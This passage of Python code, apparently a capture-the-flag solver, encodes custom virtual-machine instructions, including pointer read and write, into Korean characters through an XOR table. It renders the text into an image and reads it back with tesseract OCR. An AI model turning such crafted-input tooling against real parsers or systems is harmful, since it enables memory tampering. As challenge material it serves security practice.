functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1C) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 1) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x19) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x13) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 9) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1A) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 2) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x12) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 5) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xD) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x17) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x16) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1D) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 4) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:(a2 ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 7) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 6) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xF) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xC) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 8) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x11) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x18) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x10) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x14) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1F) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xA) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1B) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 3) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x1E) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0x15) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xB) ^ a1) & 0x1F) | |
functable.append(lambda a1,a2:((a2 ^ 0xE) ^ a1) & 0x1F) | |
def draw_text(img, text, font_size): | |
draw = PIL.ImageDraw.Draw(img) | |
draw.font = PIL.ImageFont.truetype("/usr/share/fonts/truetype/nanum/NanumBarunGothic.ttf", font_size) | |
img_size = numpy.array(img.size) | |
txt_size = numpy.array(draw.font.getsize(text)) | |
pos = (img_size - txt_size) / 2 | |
h = 4 | |
w = 4 | |
for i in range(len(text)): | |
pos = [w, h] | |
draw.text(pos, text[i], (0, 0, 0)) | |
w += font_size + 6 | |
if (i%LINE_CHAR_COUNT) == LINE_CHAR_COUNT -1: | |
h += font_size + 6 | |
w = 4 | |
def image2text(filename): | |
libtesseract = CDLL("libtesseract.so.3") | |
liblept = CDLL("liblept.so.5") | |
ctx = create_string_buffer(0x90) | |
libtesseract._ZN9tesseract11TessBaseAPIC1Ev.argtypes = [c_void_p] | |
libtesseract._ZN9tesseract11TessBaseAPIC1Ev(ctx) | |
lang = "kor" | |
f = libtesseract._ZN9tesseract11TessBaseAPI4InitEPKcS2_NS_13OcrEngineModeEPPciPK13GenericVectorI6STRINGESA_b | |
f.argtypes = [c_void_p, c_char_p, c_char_p, c_int, c_void_p, c_int, c_void_p, c_void_p, c_int] | |
f(ctx, None, lang, 3, None, 0, None, None, 0) | |
f = liblept.pixRead | |
f.argtypes = [c_char_p] | |
f.restype = c_void_p | |
pix = f(filename) | |
f = libtesseract._ZN9tesseract11TessBaseAPI8SetImageEP3Pix | |
f.argtypes = [c_void_p, c_void_p] | |
f((ctx), (pix)) | |
f = libtesseract._ZN9tesseract11TessBaseAPI11GetUTF8TextEv | |
f.argtypes = [c_void_p] | |
f.restype = c_char_p | |
text = f(ctx) | |
f = libtesseract._ZN9tesseract11TessBaseAPI3EndEv | |
f.argtypes = [c_void_p] | |
f(ctx) | |
""" | |
f = liblept.pixDestroy | |
f.argtypes = [POINTER(c_void_p)] | |
f(byref(pix)) | |
""" | |
return text | |
def cmd2msg(cmd): | |
m = u"" | |
for i in range(len(cmd)): | |
c = functable[i](i, cmd[i]) | |
m += msg_list[c] | |
return m | |
def cmd_set_random(pos): | |
return [1, pos] + [31] | |
def cmd_i2a(pos): | |
return [2, pos] + [31] | |
def cmd_i2c(pos): | |
return [3, pos] + [31] | |
def cmd_compare(pos1, pos2): | |
return [4, pos1, pos2] + [31] | |
def cmd_jmp(pos): | |
return [5, pos] + [31] | |
def cmd_jmp_equal(pos): | |
return [6, pos] + [31] | |
def cmd_jmp_less(pos): | |
return [7, pos] + [31] | |
def cmd_jmp_greater(pos): | |
return [8, pos] + [31] | |
def cmd_op_equate(pos1, pos2): | |
return [9, pos1, pos2] + [31] | |
def cmd_op_pointer_read(pos1, pos2): | |
return [10, pos1, pos2] + [31] | |
def cmd_op_pointer_write(pos1, pos2): | |
return [11, pos1, pos2] + [31] | |
def cmd_op_inc(pos1): | |
return [12, pos1] + [31] | |
def cmd_op_dec(pos1): | |
return [13, pos1] + [31] | |
def cmd_op_mul(pos1, pos2): | |
return [14, pos1, pos2] + [31] | |
def cmd_op_div(pos1, pos2): | |
return [15, pos1, pos2] + [31] | |
def cmd_op_sub(pos1, pos2): | |
return [16, pos1, pos2] + [31] | |
def cmd_op_add(pos1, pos2): | |
return [17, pos1, pos2] + [31] | |
def cmd_op_mod(pos1, pos2): | |
return [18, pos1, pos2] + [31] | |
def cmd_op_set_zero(pos1): | |
return [19, pos1] + [31] | |
def cmd_nop(): | |
return [0] + [31] | |
def cmd_nop20(): | |
return [20] + [31] | |
def cmd_final(): | |
return [21] + [31] | |
def cmd_continue(): | |
return [31] | |
